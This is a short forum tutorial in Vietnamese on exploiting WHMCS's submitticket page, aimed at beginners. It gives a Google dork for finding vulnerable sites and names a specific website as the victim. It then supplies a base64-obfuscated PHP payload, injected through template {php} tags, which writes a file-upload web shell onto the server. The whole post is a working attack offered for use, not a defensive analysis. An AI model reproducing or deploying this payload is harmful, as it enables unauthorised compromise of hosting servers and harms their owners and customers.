[Tutorial] WHMCS Submitticket Exploit

Video Tutorial:

http://www.mediafire.com/?p9c5kxyodd6lp6a

Pass Unlock:

junookyo

Exploit này cũng có lâu rồi, làm TUT này cho newbie thôi nhé. Pro nào biết rồi miễn quăng gạch :).

Dork: inurl:"submitticket.php?step=2"
Victim: http://www.webwizard-lk.com/

Dork: inurl:"submitticket.php?step=2"
Victim: http://www.webwizard-lk.com/

Shell Code:

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdjM1ZqWTJWemMyWjFiQ0VoSVR3dllqNDhZbkkrUEdKeVBpYzdJSDBOQ2dsbGJITmxJSHNnWldOb2J5QW5QR0krVlhCc2IyRmtJR1poYVd4bFpDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DbjBOQ2o4KyIpOw0KJGZvID0gZm9wZW4oImoydC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTs='));{/php}